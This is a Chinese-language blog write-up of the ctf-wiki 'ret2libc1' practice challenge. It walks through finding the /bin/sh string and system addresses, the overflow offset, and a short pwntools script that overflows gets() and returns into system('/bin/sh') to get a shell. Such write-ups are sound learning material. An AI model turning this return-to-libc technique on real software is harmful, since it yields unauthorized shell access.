week2 T3


T3 ret2libc1

2023-01-09WP
ctf-wiki 基础rop

0x00 ctf-wiki中的原理解释

ret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system(“/bin/sh”),故而此时我们需要知道 system 函数的地址。
0x01
file checksec——32-bit,开启NX

0x02

IDA查看源码,应该是gets函数的栈溢出

shift+f12看到有/bin/sh字符串,找地址为0x08048720


并且在secure函数中有system函数,双击进去查看得到 system 函数地址为08048460

0x03

gdb调试找偏移量


可能都是ctf-wiki里面的题的原因吧这里甚至连偏移量都和前面ret2text的一样

0x04

我们要直接返回执行system 函数,exp可以这样写

from pwn import *
sh = process('./ret2libc1')
binsh_addr = 0x8048720
system_addr = 0x08048460
payload = flat([b'a' * 112, system_addr,b 'b' * 4, binsh_addr])
sh.sendline(payload)
sh.interactive()

这里的四个b是system函数的返回地址,这里只是起到让结构合法的作用,具体是什么不重要,因为我们只需要调用system就行了
我这个flat()还查了好久是什么意思……实际上就是把几个字符串拼接在一起

0x05 questions

也可以直接返回system函数压参的地址0x0804860A(也就是 call _system处的地址)而不返回函数的 plt 处,
但是32位一般返回plt处地址后先跟函数返回地址(虚拟的)再接参数
一个plt表和got表的教学文章


文章作者: lmarch2
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 lmarch2 !
评论
  目录